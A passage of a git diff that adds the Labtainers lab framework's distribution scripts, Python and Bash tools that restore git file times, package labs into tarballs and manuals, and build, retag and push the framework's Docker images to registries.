+ filelist.add(os.path.relpath(path, workdir)) + +# dir +elif os.path.isdir(path): + for root, subdirs, files in os.walk(path): + if '.git' in subdirs: + subdirs.remove('.git') + + for file in files: + filelist.add(os.path.relpath(os.path.join(root, file), workdir)) + + +def fixtimes(filelist, dist_path, pathspec, workdir): + for f in filelist: + source = os.path.join(workdir, f) + dest = os.path.join(dist_path, f) + if os.path.isfile(dest): + mtime = int(os.path.getmtime(source)) + os.utime(dest, (mtime, mtime)) + +if args.pathspec.strip() == './': + cmd = 'git archive master | tar -x -C %s' % (args.dist_path) +else: + cmd = 'git archive master %s | tar -x -C %s' % (args.pathspec, args.dist_path) +os.system(cmd) + +fixtimes(filelist, args.dist_path, args.pathspec, workdir) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/git-restore-mtime.py b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/git-restore-mtime.py new file mode 100755 index 000000000..0fa89e6b9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/git-restore-mtime.py @@ -0,0 +1,125 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# +# git-restore-mtime - Change mtime of files based on commit date of last change +# +# Copyright (C) 2012 Rodrigo Silva (MestreLion) +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. See +# +# Stripped-down version: no fancy options or statistics. Just the core! +# +# Only works from inside the work tree. Assumes git dir is "/.git" + +import subprocess, shlex +import sys, os.path +import logging as logger +import argparse +import time + +parser = argparse.ArgumentParser( + description='Restore original modification time of files based on ' + 'the date of the most recent commit that modified them. ' + 'Useful when generating release tarballs. ' + 'Current directory must be inside work tree') + +parser.add_argument('--verbose', '-v', + action="store_true", + help='print warnings and debug info for each processed file. ') + +parser.add_argument('--merge', '-m', + action="store_true", + help='include merge commits.') + +parser.add_argument('pathspec', + nargs='*', default=[os.path.curdir], + help='only modify paths (dirs or files) matching PATHSPEC, ' + 'absolute or relative to current directory. ' + 'Default is current directory') + +args = parser.parse_args() +logger.basicConfig(level=logger.DEBUG if args.verbose else logger.ERROR, + format='%(levelname)s:\t%(message)s') + + +# Find repo's top level. +try: + workdir = os.path.abspath(subprocess.check_output(shlex.split( + 'git rev-parse --show-toplevel')).strip()) +except subprocess.CalledProcessError as e: + sys.exit(e.returncode) + + +# List files matching user pathspec, relative to current directory +# git commands always print paths relative to work tree root +filelist = set() +for path in args.pathspec: + + # file or symlink (to file, to dir or broken - git handles the same way) + if os.path.isfile(path) or os.path.islink(path): + filelist.add(os.path.relpath(path, workdir)) + + # dir + elif os.path.isdir(path): + for root, subdirs, files in os.walk(path): + if '.git' in subdirs: + subdirs.remove('.git') + + for file in files: + filelist.add(os.path.relpath(os.path.join(root, file), workdir)) + + +# Process the log until all files are 'touched' +def parselog(merge=False, filterlist=[]): + gitobj = subprocess.Popen(shlex.split('git whatchanged --pretty=%at') + + (['-m'] if merge else []) + filterlist, + stdout=subprocess.PIPE) + mtime = 0 + for line in gitobj.stdout: + line = line.strip() + + # Blank line between Date and list of files + if not line: continue + + # File line + if line.startswith(':'): + file = os.path.normpath(line.split('\t')[-1]) + if file in filelist: + logger.debug("%s\t%s", time.ctime(mtime), file) + filelist.remove(file) + try: + os.utime(os.path.join(workdir, file), (mtime, mtime)) + except Exception as e: + logger.error("%s\n", e) + + # Date line + else: + mtime = long(line) + + # All files done? + if not filelist: + break + +parselog(args.merge) + + +# Missing files +if filelist and not args.merge: + filterlist = list(filelist) + for i in range(0, len(filterlist), 100): + parselog(merge=True, filterlist=filterlist[i:i+100]) + +# Still missing some? +for file in filelist: + logger.warn("not found in log: %s", file) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mk-devel-dist.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mk-devel-dist.sh new file mode 100755 index 000000000..046481d4d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mk-devel-dist.sh @@ -0,0 +1,54 @@ +#!/bin/bash +# +# Create a distribution for lab designers +# Expects a directory at /media/sf_SEED into which it +# will copy the distribution tar. +# +revision=`git describe --long` +myshare=/media/sf_SEED/ +here=`pwd` +cd ../ +rootdir=`pwd` +git status -s | grep -E "^ M|^ D|^ A" | less +ddir=/tmp/labtainer-distrib +ldir=$ddir/labtainer +ltrunk=$ldir/trunk +scripts=$ltrunk/scripts +labs=$ltrunk/labs +rm -fr /$ddir +mkdir $ddir +mkdir $ldir +mkdir $ltrunk +mkdir $labs +$here/fix-git-dates.py ./ $ltrunk +cd $ltrunk +sed -i "s/mm\/dd\/yyyy/$(date '+%m\/%d\/%Y %H:%M')/" README.md +sed -i "s/^Revision:/Revision: $revision/" README.md +cp setup_scripts/install-labtainer.sh . +cp setup_scripts/update-labtainer.sh . +cd $ldir/trunk/docs/labdesigner +make +cp labdesigner.pdf ../../../ +cp labdesigner.pdf $myshare + +cd $ldir/trunk/docs/student +make +cp labtainer-student.pdf ../../../ +cp labtainer-student.pdf $myshare + +cd $ldir/trunk/docs/instructor +make +cp labtainer-instructor.pdf ../../../ +cp labtainer-instructor.pdf $myshare +$here/mkTars.sh $ldir/trunk/labs $here/skip-labs +cd $ldir/trunk/labs +mkdir -p /tmp/labtainer_pdf +cd $rootdir +distrib/mk-lab-pdf.sh $labs +cd $ddir +tar -cz -X $here/skip-labs -f $here/labtainer-developer.tar labtainer +cd /tmp/ +zip -r $here/labtainer_pdf.zip labtainer_pdf +cd $here +cp labtainer-developer.tar $myshare +cp labtainer_pdf.zip $myshare diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mk-lab-pdf.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mk-lab-pdf.sh new file mode 100755 index 000000000..b3c59da7f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mk-lab-pdf.sh @@ -0,0 +1,49 @@ +#!/bin/bash +labs=$1 +function contains() { + local n=$# + local value=${!n} + for ((i=1;i < $#;i++)) { + if [ "${!i}" == "${value}" ]; then + echo "y" + return 0 + fi + } + echo "n" + return 1 +} +rootdir=`pwd` +mkdir -p /tmp/labtainer_pdf +skip="distrib/skip-labs" +skiplist="" +lines=`cat $skip` +for line in $lines; do + lab=$(basename $line) + skiplist+=($lab) +done +llist=$(git ls-files labs | cut -d '/' -f 2 | uniq) +for lab in $llist; do + if [ $(contains "${skiplist[@]}" $lab) != "y" ]; then + echo "lab is $lab in dir `pwd`" + mkdir -p $labs/$lab + mkdir -p /tmp/labtainer_pdf/$lab + cd $labs/$lab + if [[ -d docs ]]; then + echo "lab is $lab" + cd docs + cp -p /tmp/labtainer_pdf/$lab/*.pdf . + if [[ -f Makefile ]]; then + make + else + doc=$lab.docx + if [[ -f $doc ]]; then + soffice --convert-to pdf $doc --headless + fi + fi + cp -p *pdf /tmp/labtainer_pdf/$lab/ + else + cp */instructions.txt /tmp/labtainer_pdf/$lab/ 2>/dev/null + fi + cd $rootdir + fi +done diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mkTars.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mkTars.sh new file mode 100755 index 000000000..8d9931b99 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mkTars.sh @@ -0,0 +1,81 @@ +#!/bin/bash +# +# for each directory beneath the given one that ends in _tar +# tar up its content into a file based on the name of the +# subdirectory. WILL remove any existing tar files unless +# the directory only contains one tar file. +# +containsElement () { + local e match="$1" + shift + for e; do [[ "$e" == "$match" ]] && return 0; done + return 1 +} +if [[ -z "$1" ]]; then + echo need a path to top of tmp labs +fi +TOP_DIR=$1 +SKIP_LIST=$2 +while read skip; do + MY_SKIP="$MY_SKIP $(basename $skip)" +done <$SKIP_LIST +echo "my skip is $MY_SKIP" +echo "lab dir is $LAB_DIR" +skip_array=($MY_SKIP) +here=`pwd` +cd $TOP_DIR +lab_list=$(ls) +for lab in $lab_list; do + if [[ ! -d $lab ]]; then + continue + fi + containsElement $lab "${skip_array[@]}" + result=$? + if [[ $result == "0" ]]; then + continue + fi + LAB_DIR=$TOP_DIR/$lab + cd $LAB_DIR + CONTAINER_LIST=$(ls) + for CONTAINER_DIR in $CONTAINER_LIST; do + tar_list=$(ls $CONTAINER_DIR) + #echo $tar_list + for f in $tar_list; do + #echo check $f + full=$LAB_DIR/$f + if [[ -d $full ]]; then + if [[ $f == *_tar ]]; then + cd $full + echo "in $full" + tmp_name=${f::-4} + tar_name=$tmp_name.tar + echo "look for tar_name $tar_name" + if [[ ! -f $tar_name ]]; then + echo "no $tar_name, make one" + tar czf /tmp/$tar_name * + rm -fr * + mv /tmp/$tar_name . + else + # is a tar file + f_list=$(ls -lt) + f_array=($f_list) + len=${#f_array[@]} + if [[ $len -gt 1 ]] && [[ $tar_name -ot ${f_array[1]} ]] ; then + echo "replace tar" + rm $tar_name 2> /dev/null + tar czf /tmp/$tar_name * + rm -fr * + mv /tmp/$tar_name . + else + echo tar is newer, keep it + mv $tar_name /tmp/ + rm -fr * + mv /tmp/$tar_name . + fi + fi + fi + fi + done # each _tar directory + done # each container +done #each lab +cd $here diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mkdist.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mkdist.sh new file mode 100755 index 000000000..5b20d117f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mkdist.sh @@ -0,0 +1,96 @@ +#!/bin/bash +function contains() { + local n=$# + local value=${!n} + for ((i=1;i < $#;i++)) { + if [ "${!i}" == "${value}" ]; then + echo "y" + return 0 + fi + } + echo "n" + return 1 +} +revision=`git describe --long` +skip="skip-labs" +skiplist="" +lines=`cat $skip` +for line in $lines; do + lab=$(basename $line) + skiplist+=($lab) +done +mkdir -p /tmp/labtainer_pdf +#myshare=/home/mike/sf_SEED/ +myshare=/media/sf_SEED/ +here=`pwd` +cd ../ +rootdir=`pwd` +git status -s | grep -E "^ M|^ D|^ A" | less +ddir=/tmp/labtainer-distrib +ldir=$ddir/labtainer +ltrunk=$ldir/trunk +scripts=$ltrunk/scripts +labs=$ltrunk/labs +rm -fr /$ddir +mkdir $ddir +mkdir $ldir +mkdir $ltrunk +git archive master README.md | tar -x -C $ltrunk +sed -i "s/mm\/dd\/yyyy/$(date '+%m\/%d\/%Y %H:%M')/" $ltrunk/README.md +sed -i "s/^Revision:/Revision: $revision/" $ltrunk/README.md +#git archive master config | tar -x -C $ltrunk +$here/fix-git-dates.py config $ltrunk +$here/fix-git-dates.py setup_scripts $ltrunk +$here/fix-git-dates.py docs $ltrunk +$here/fix-git-dates.py tool-src $ltrunk +$here/fix-git-dates.py distrib/skip-labs $ltrunk +mkdir $scripts +$here/fix-git-dates.py scripts/labtainer-student $ltrunk +$here/fix-git-dates.py scripts/labtainer-instructor $ltrunk +mkdir $labs +llist=$(git ls-files labs | cut -d '/' -f 2 | uniq) +for lab in $llist; do + if [ $(contains "${skiplist[@]}" $lab) != "y" ]; then + $here/fix-git-dates.py labs/$lab/config $ltrunk + $here/fix-git-dates.py labs/$lab/instr_config $ltrunk + if [[ -d labs/$lab/docs ]]; then + $here/fix-git-dates.py labs/$lab/docs $ltrunk + fi + if [[ -d labs/$lab/bin ]]; then + $here/fix-git-dates.py labs/$lab/bin $ltrunk + fi + fi +done +distrib/mk-lab-pdf.sh $labs +result=$? +echo "result of mk-lab-pdf is $result" +if [ $result -ne 0 ]; then + echo "Trouble making lab manuals" + exit +fi +cd $ldir +mv trunk/setup_scripts/install-labtainer.sh . +ln -s trunk/setup_scripts/update-labtainer.sh . +ln -s trunk/setup_scripts/update-designer.sh . + +cd $ldir/trunk/docs/student +make +cp labtainer-student.pdf ../../../ +cp labtainer-student.pdf $myshare + +cd $ldir/trunk/docs/instructor +make +cp labtainer-instructor.pdf ../../../ +cp labtainer-instructor.pdf $myshare + +cd $ldir/trunk/tool-src/capinout +pwd +./mkit.sh +cd $ddir +tar -cz -X $here/skip-labs -f $here/labtainer.tar labtainer +cd /tmp/ +#tar -czf $here/labtainer_pdf.tar.gz labtainer_pdf +zip -r $here/labtainer_pdf.zip labtainer_pdf +cd $here +cp labtainer.tar $myshare +cp labtainer_pdf.zip $myshare diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mktest.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mktest.sh new file mode 100755 index 000000000..92a992369 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mktest.sh @@ -0,0 +1,24 @@ +#!/bin/bash +# +# Create a distribution of the SimLab data files for +# Labtainers regression testing. +# NOTE: The files are in a separate, private repo, and +# are not generally distributed. +# Assumes the simlab files are in ../../Labtainers-simlab/simlab +# +tmp_dir=/tmp/labtainer_tests +rm -fr $tmp_dir +mkdir $tmp_dir +trunk=$tmp_dir/trunk +mkdir $trunk +here=`pwd` +cd ../ +$here/fix-git-dates.py distrib $trunk +$here/fix-git-dates.py testsets $trunk +cd ../Labtainers-simlab +git status -s | grep -E "^ M|^ D|^ A" | less +$here/fix-git-dates.py simlab $tmp_dir +#git archive master simlab | tar -x -C $tmp_dir +cd $tmp_dir +tar czf /tmp/labtainer-tests.tar trunk simlab +mv /tmp/labtainer-tests.tar /media/sf_SEED/ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/publish.py b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/publish.py new file mode 100755 index 000000000..283ac2bdb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/publish.py @@ -0,0 +1,191 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' +import sys +import os +import subprocess +import shlex +import argparse +sys.path.append('../scripts/labtainer-student/bin') +import LabtainerLogging +import ParseLabtainerConfig +import labutils +import VersionInfo +import removelab +''' +Build and publish labtainer images. Use -h option for help. +''' +def relabel(image, version, base_image, base_id, registry): + with open('./dfile', 'w') as fh: + fh.write('FROM %s\n' % image) + fh.write('ARG version\n') + fh.write('LABEL version=%s\n' % version) + fh.write('LABEL base=%s.%s' % (base_image, base_id)) + + cmd = 'docker build -f dfile -t %s.tmp .' % image + os.system(cmd) + cmd = 'docker tag %s.tmp %s/%s' % (image, registry, image) + print cmd + os.system(cmd) + cmd = 'docker push %s/%s' % (registry, image) + print cmd + os.system(cmd) + cmd = 'docker tag %s.tmp %s/%s:base_image%s' % (image, registry, image, base_id) + print cmd + os.system(cmd) + cmd = 'docker push %s/%s:base_image%s' % (registry, image, base_id) + print cmd + os.system(cmd) + +def rebuild(labname, labsdir, force, logger): + mycwd = os.getcwd() + path = '../scripts/labtainer-student' + os.chdir(path) + #print('now at %s' % os.getcwd()) + lab_dir = os.path.join(labsdir, labname) + #print('cwd was %s now %s lab_dir is %s' % (mycwd, os.getcwd(), lab_dir)) + retval = labutils.DoRebuildLab(lab_dir, force_build=force) + os.chdir(mycwd) + return retval + +def pushIt(lab, docker_dir, registry, logger): + ''' + Set the label and tags on any newly built image and push it to the given registry. + ''' + df_list = [f for f in os.listdir(docker_dir) if os.path.isfile(os.path.join(docker_dir, f))] + for df in df_list: + if df.endswith('.swp'): + continue + logger.DEBUG('tag and push %s' % df) + try: + parts = df.split('.') + image = '%s.%s.student' % (parts[1], parts[2]) + except: + logger.ERROR('could not get image from %s' % df); + continue + image_exists, dumb, dumb1 = labutils.ImageExists(image, None) + if image_exists: + dfile_path = os.path.join(docker_dir,df) + image_base = VersionInfo.getFrom(dfile_path, registry) + base_id = VersionInfo.getImageId(image_base, True) + framework_version = labutils.framework_version + relabel(image, framework_version, image_base, base_id, registry) + + else: + logger.DEBUG('Have not built %s, nothing to push' % image) + ''' Delete the lab images. Two reasons: 1) ensure we run authoritative copy, + which is from the dockerhub. 2) don't push on a rebuild if not rebuilt. ''' + removelab.removeLab(lab) + +def DoLab(lab, labsdir, force, logger, do_login, test_registry, default_registry): + logger.DEBUG('DoLab for %s' % lab) + lab_dir = os.path.join(labsdir, lab) + registry_set = rebuild(lab, labsdir, force, logger) + if len(registry_set) > 1: + logger.ERROR('no current support for images from multiple registries') + exit(1) + else: + registry = list(registry_set)[0] + logger.DEBUG('back from rebuild with registry of %s' % registry) + ''' should we login? Never if test registry ''' + if not test_registry: + if registry is not None and registry != default_registry: + print('registry %s not equal %s, login' % (registry, default_registry)) + os.system('docker login -u %s' % registry) + else: + registry = default_registry + if do_login: + os.system('docker login -u %s' % registry) + docker_dir = os.path.join(labsdir, lab, 'dockerfiles') + pushIt(lab, docker_dir, registry, logger) + +def main(): + parser = argparse.ArgumentParser(description='Build the images labs and publish to a registry') + parser.add_argument('-l', '--lab', action='store', help='build and publish just this lab') + parser.add_argument('-s', '--start', action='store', help='all labs starting with this one') + parser.add_argument('-t', '--test_registry', action='store_true', default=False, help='build and publish with test registry') + parser.add_argument('-f', '--force', action='store_true', default=False, help='force rebuild of all images') + args = parser.parse_args() + if args.test_registry: + if os.getenv('TEST_REGISTRY') is None: + print('use putenv to set it') + os.putenv("TEST_REGISTRY", "TRUE") + ''' why does putenv not set the value? ''' + os.environ['TEST_REGISTRY'] = 'TRUE' + else: + print('exists, set it true') + os.environ['TEST_REGISTRY'] = 'TRUE' + print('set TEST REG to %s' % os.getenv('TEST_REGISTRY')) + + src_path = '../' + labtainer_config_file = os.path.join(src_path, 'config', 'labtainer.config') + logger = LabtainerLogging.LabtainerLogging("labtainer-publish.log", 'publish', labtainer_config_file) + labutils.logger = logger + + + skip_labs = 'skip-labs' + + skip = [] + with open(skip_labs) as fh: + for line in fh: + f = os.path.basename(line).strip() + print('adding [%s]' % f) + skip.append(f) + + labsdir = os.path.abspath(os.path.join(src_path, 'labs')) + + labtainer_config = ParseLabtainerConfig.ParseLabtainerConfig(labtainer_config_file, logger) + default_registry = labtainer_config.default_registry + + if args.lab is not None: + logger.DEBUG('Doing just one lab %s labsdir %s' % (args.lab, labsdir)) + # Do login here and now so we don't wait for lab to build before prompt + if not args.test_registry: + os.system('docker login -u %s' % default_registry) + DoLab(args.lab, labsdir, args.force, logger, False, args.test_registry, default_registry) + else: + # do them all. warn of incomplete git + mycwd = os.getcwd() + os.chdir(labsdir) + command = 'git status -s' + ps = subprocess.Popen(shlex.split(command), True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + grep_command = 'grep -E "^M|^D|^A"' + ps_grep = subprocess.Popen(shlex.split(grep_command), stdin=ps.stdout,stdout=subprocess.PIPE, stderr=subprocess.PIPE) + ps.stdout.close() + output = ps_grep.communicate() + if len(output[0]) > 0: + for line in output[0].splitlines(True): + print line.strip() + dumb = raw_input("any key to continue") + + if not args.test_registry: + os.system('docker login -u %s' % default_registry) + #cmd = 'svn ls https://tor.ern.nps.edu/svn/proj/labtainer/trunk/labs' + cmd = 'git ls-files ./ | cut -d/ -f1 | uniq' + child = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) + output = child.communicate() + lab_list = output[0].strip().splitlines(True) + for lab in sorted(lab_list): + #lab = lab[:len(lab)-1] + lab = lab.strip() + if args.start is not None and lab < args.start: + continue + if lab not in skip: + print('Lab: %s' % lab) + lab_dir = os.path.join(labsdir, lab) + os.chdir(lab_dir) + cmd = 'git checkout ./' + os.system(cmd) + os.chdir(mycwd) + DoLab(lab, labsdir, args.force, logger, False, args.test_registry, default_registry) + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/publish_grader.py b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/publish_grader.py new file mode 100755 index 000000000..8266c91e4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/publish_grader.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python +import os +import sys +import argparse +sys.path.append('../scripts/labtainer-student/bin') +import labutils +import ParseLabtainerConfig +import LabtainerLogging +import VersionInfo +def relabel(image, version, base_image, base_id, registry): + with open('./dfile', 'w') as fh: + fh.write('FROM %s\n' % image) + fh.write('ARG version\n') + fh.write('LABEL version=%s\n' % version) + fh.write('LABEL base=%s.%s' % (base_image, base_id)) + + cmd = 'docker build -f dfile -t %s.tmp .' % image + os.system(cmd) + cmd = 'docker tag %s.tmp %s/%s' % (image, registry, image) + print cmd + os.system(cmd) + cmd = 'docker push %s/%s' % (registry, image) + print cmd + os.system(cmd) + cmd = 'docker tag %s.tmp %s/%s:base_image%s' % (image, registry, image, base_id) + print cmd + os.system(cmd) + cmd = 'docker push %s/%s:base_image%s' % (registry, image, base_id) + print cmd + os.system(cmd) + +def main(): + parser = argparse.ArgumentParser(description='Build and publish the grader') + parser.add_argument('-t', '--test_registry', action='store_true', help='Use image from test registry') + args = parser.parse_args() + if args.test_registry: + if os.getenv('TEST_REGISTRY') is None: + print('use putenv to set it') + os.putenv("TEST_REGISTRY", "TRUE") + ''' why does putenv not set the value? ''' + os.environ['TEST_REGISTRY'] = 'TRUE' + else: + print('exists, set it true') + os.environ['TEST_REGISTRY'] = 'TRUE' + print('set TEST REG to %s' % os.getenv('TEST_REGISTRY')) + here = os.getcwd() + os.chdir('../scripts/designer/bin') + test_registry = '' + if args.test_registry: + test_registry = '-t' + cmd = './create_image.sh grader %s' % test_registry + os.system(cmd) + os.chdir(here) + src_path = '../' + labtainer_config_file = os.path.join(src_path, 'config', 'labtainer.config') + logger = LabtainerLogging.LabtainerLogging("publish_grader.log", 'publish', labtainer_config_file) + labutils.logger = logger + + labtainer_config = ParseLabtainerConfig.ParseLabtainerConfig(labtainer_config_file, logger) + if args.test_registry: + registry = labtainer_config.test_registry + else: + registry = labtainer_config.default_registry + dfile_path = '../scripts/designer/base_dockerfiles/Dockerfile.labtainer.grader' + image_base = VersionInfo.getFrom(dfile_path, registry) + base_id = VersionInfo.getImageId(image_base) + framework_version = labutils.framework_version + relabel('labtainer.grader', framework_version, image_base, base_id, registry) + + + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/pull_tag_push.py b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/pull_tag_push.py new file mode 100755 index 000000000..a3115dc64 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/pull_tag_push.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python +import os +import sys +import argparse +sys.path.append('../scripts/labtainer-student/bin') +import InspectLocalReg +import InspectRemoteReg +''' +Pull all labtainer container images from the docker hub, retag them, and push to a +local registry. Only replace the local registry if its image is older than the remote. +''' + +def do_lab(lab_dir, lab, role, source_reg, dest_reg, force): + docker_dir = os.path.join(labdir, lab, 'dockerfiles') + if not os.path.isdir(docker_dir): + return + df_list = [f for f in os.listdir(docker_dir) if os.path.isfile(os.path.join(docker_dir, f))] + for df in df_list: + if df.endswith('.swp'): + continue + try: + parts = df.split('.') + image = '%s.%s.%s' % (parts[1], parts[2], role) + except: + print('could not get image from %s' % df); + continue + local_created, local_user, version, tag = InspectLocalReg.inspectLocal(image, dest_reg) + if local_created is not None: + remote_created, remote_user, version, tag = InspectRemoteReg.inspectRemote(image) + if force or local_created is None or remote_created > local_created: + cmd = 'docker pull %s/%s' % (source_reg, image) + #print cmd + os.system(cmd) + cmd = 'docker tag %s/%s %s/%s' % (source_reg, image, dest_reg, image) + #print cmd + os.system(cmd) + cmd = 'docker push %s/%s' % (dest_reg, image) + #print cmd + os.system(cmd) + else: + print('local registry for %s is up to date.' % image) + +parser = argparse.ArgumentParser(description='pull from the docker hub and push to local registry') +parser.add_argument('-l', '--lab', action='store', help='only pull/tag/push this lab') +parser.add_argument('-f', '--force', action='store_true', default=False, help='force pull/push') +args = parser.parse_args() +skip = [] +with open('skip-labs') as fh: + for line in fh: + f = os.path.basename(line).strip() + print('will skip [%s]' % f) + skip.append(f) + +labdir = '../labs' +lab_list = os.listdir(labdir) +# +# test with a single lab. Then use loop below once it works. +# +testregistry = 'testregistry:5000' +if args.lab is not None: + do_lab(labdir, args.lab, 'student', 'mfthomps', testregistry, args.force) + do_lab(labdir, args.lab, 'instructor', 'mfthomps', testregistry, args.force) +else: + #print('commented out for now') + testregistry = 'testregistry:5000' + for lab in sorted(lab_list): + if lab not in skip: + do_lab(labdir, lab, 'student', 'mfthomps', testregistry, args.force) + do_lab(labdir, lab, 'instructor', 'mfthomps', testregistry, args.force) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/push_base.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/push_base.sh new file mode 100755 index 000000000..2f34fe2eb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/push_base.sh @@ -0,0 +1,20 @@ +#!/bin/bash +pull_push(){ + registry=mfthomps + test_registry=testregistry:5000 + docker pull $registry/$1 + docker tag $registry/$1 $test_registry/$1 + docker push $test_registry/$1 +} +pull_push labtainer.base +pull_push labtainer.network +pull_push labtainer.firefox +pull_push labtainer.wireshark +pull_push labtainer.java +pull_push labtainer.centos +pull_push labtainer.centos.xtra +pull_push labtainer.lamp +pull_push labtainer.lamp.xtra +pull_push labtainer.kali +pull_push labtainer.metasploitable + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/relabel.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/relabel.sh new file mode 100755 index 000000000..1f8664106 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/relabel.sh @@ -0,0 +1,22 @@ +#!/bin/bash +REGISTRY=$1 +VERSION=$2 +IMAGE=$3 +BASE_IMAGE=$4 +BASE_ID=$5 + +cat < dfile +ARG registry +FROM \$registry/$IMAGE +ARG version +LABEL version=\$version +LABEL base=$BASE_IMAGE.$BASE_ID +EOT + +docker build --build-arg registry=$REGISTRY --build-arg version=$VERSION \ + --pull -f dfile -t $IMAGE . + +docker tag $IMAGE $REGISTRY/$IMAGE +docker push $REGISTRY/$IMAGE +docker tag $IMAGE $REGISTRY/$IMAGE:base_image$BASE_ID +docker push $REGISTRY/$IMAGE:base_image$BASE_ID diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/remove-container.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/remove-container.sh new file mode 100755 index 000000000..6554ab1ce --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/remove-container.sh @@ -0,0 +1,10 @@ +#!/bin/bash +cont_list=$(docker ps -a | grep $1 | awk '{ print $1" }') +if [ ! -z "$cont_list" ]; then + docker rm $cont_list +fi +image_list=$(docker images | grep $1 | awk '{ print $1":"$2 }') +if [ ! -z "$image_list" ]; then + docker rmi -f $image_list +fi + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/retag_all.py b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/retag_all.py new file mode 100755 index 000000000..7594fb244 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/retag_all.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python +import os +import sys +import argparse +sys.path.append('../scripts/labtainer-student/bin') +import InspectLocalReg +import InspectRemoteReg +import VersionInfo +import labutils +import subprocess +''' +Retag all labtainer images to include their base image id, and include the base +image name in a label. +''' + +def do_lab(lab_dir, lab, role, registry): + framework_version = labutils.framework_version + ''' use docker files to identify each docker image to relabel ''' + docker_dir = os.path.join(lab_dir, lab, 'dockerfiles') + if not os.path.isdir(docker_dir): + print('%s not a directory' % docker_dir) + return + df_list = [f for f in os.listdir(docker_dir) if os.path.isfile(os.path.join(docker_dir, f))] + for df in df_list: + if df.endswith('.swp'): + continue + dfile_path = os.path.join(docker_dir,df) + ''' get the image name from the docker file ''' + image_base = VersionInfo.getFrom(dfile_path, registry) + ''' get the base identifier of the image present on this installation for that image ''' + base_id = VersionInfo.getImageId(image_base) + try: + parts = df.split('.') + image = '%s.%s.%s' % (parts[1], parts[2], role) + except: + print('could not get image from %s' % df); + continue + cmd = './relabel.sh %s %s %s %s %s' % (registry, framework_version , image, image_base, base_id) + print cmd + os.system(cmd) + +def main(): + parser = argparse.ArgumentParser(description='Build the images labs and publish to a registry') + parser.add_argument('-l', '--lab', action='store', help='retag just this lab') + parser.add_argument('-t', '--test_registry', action='store_true', default=False, help='build and publish with test registry') + skip = [] + with open('skip-labs') as fh: + for line in fh: + f = os.path.basename(line).strip() + #print('will skip [%s]' % f) + skip.append(f) + + labdir = '../labs' + lab_list = os.listdir(labdir) + # + # test with a single lab. Then use loop below once it works. + # + args = parser.parse_args() + registry = 'mfthomps' + if args.test_registry: + registry = 'testregistry:5000' + if args.lab is not None: + print('retag lab %s' % args.lab) + do_lab(labdir, args.lab, 'student', registry) + else: + #print('commented out for now') + for lab in sorted(lab_list): + if lab not in skip: + do_lab(labdir, lab, 'student', registry) +if __name__ == '__main__': + sys.exit(main()) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/skip-labs b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/skip-labs new file mode 100644 index 000000000..4984db687 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/skip-labs @@ -0,0 +1,14 @@ +labtainer/trunk/labs/nmaplab 